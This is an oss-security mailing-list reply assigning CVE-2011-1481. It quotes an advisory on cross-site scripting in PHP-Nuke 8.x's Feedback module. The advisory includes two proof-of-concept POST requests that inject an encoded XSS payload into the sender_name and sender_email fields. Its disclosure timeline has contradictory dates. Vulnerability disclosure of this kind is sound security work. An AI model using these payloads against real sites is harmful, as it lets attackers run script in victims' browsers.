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Message-ID: <1604144792.286199.1301514089217.JavaMail.root@zmail01.collab.prod.int.phx2.redhat.com>
Date: Wed, 30 Mar 2011 15:41:29 -0400 (EDT)
From: Josh Bressers <bressers@...hat.com>
To: oss-security@...ts.openwall.com
Cc: coley <coley@...re.org>
Subject: Re: CVE Request: PHP-Nuke 8.x <= Cross Site
Scripting Vulnerability
Please use CVE-2011-1481.
Thanks.
--
JB
----- Original Message -----
> PHP-Nuke 8.x <= Cross Site Scripting Vulnerability
>
>
>
> 1. OVERVIEW
>
> The PHP-Nuke version 8.x and lower are vulnerable to Cross Site
> Scrtipting.
>
>
> 2. BACKGROUND
>
> PHP-Nuke is a Web Portal System or content management system. The goal
> of PHP-Nuke is to have an automated web site to distribute news and
> articles with users system. Each user can submit comments to discuss
> the articles. Main features include: web based admin, surveys, top
> page, access stats page with counter, user customizable box, themes
> manager for registered users, friendly administration GUI with graphic
> topic manager, option to edit or delete stories, option to delete
> comments, moderation system, Referrers page to know who link us,
> sections manager, customizable HTML blocks, user and authors edit, an
> integrated Banners Ads system, search engine, backend/headlines
> generation (RSS/RDF format), and many, many more friendly functions.
>
>
> 3. VULNERABILITY DESCRIPTION
>
> The "sender_name" and the "sender_email" parameter are not properly
> sanitized upon submission to the /modules.php?name=Feedback, which
> allows attacker to conduct Cross Site Scripting attack. This may allow
> an attacker to create a specially crafted URL that would execute
> arbitrary script code in a victim's browser.
>
>
> 4. VERSIONS AFFECTED
>
> 8.0 and lower
>
> Tested version: 8.0
> The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well.
>
>
> 5. PROOF-OF-CONCEPT/EXPLOIT
>
> Parameter: sender_name
>
> [REQUEST]
> POST /phpnuke/modules.php?name=Feedback HTTP/1.1
> Host: attacker.in
> Referer: http://attacker.in/phpnuke/modules.php?name=Feedback
>
> sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send
> [/REQUEST]
>
> ---------------------------------------------------------
> Parameter: sender_email
>
> [REQUEST]
> POST /phpnuke/modules.php?name=Feedback HTTP/1.1
> Host: attacker.in
> Referer: http://attacker.in/phpnuke/modules.php?name=Feedback
>
> sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send
> [/REQUEST]
>
>
> 6. SOLUTION
>
> Not Available.
> Use of this product is NOT recommended because of long lack of update
> and vendor negligence about security reports.
>
>
> 7. VENDOR
>
> PHP-Nuke Developers
> http://phpnuke.org/
>
>
> 8. CREDIT
>
> Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
>
>
> 9. DISCLOSURE TIME-LINE
>
> 2011-01-01: contacted author through emails
> 2011-01-25: contacted author through web site contact form
> 2010-03-23: no replies from author
> 2010-03-23: vulnerability disclosed
>
>
> 10. REFERENCES
>
> Original Advisory URL:
> http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting
> About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
> php-Nuke 8.0:
> http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
> CWE-79: http://cwe.mitre.org/data/definitions/79.html
>
>
>
> #yehg [2010-03-23]
>
> keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, xss
>
> ---------------------------------
> Best regards,
> YGN Ethical Hacker Group
> Yangon, Myanmar
> http://yehg.net
> Our Lab | http://yehg.net/lab
> Our Directory | http://yehg.net/hwd
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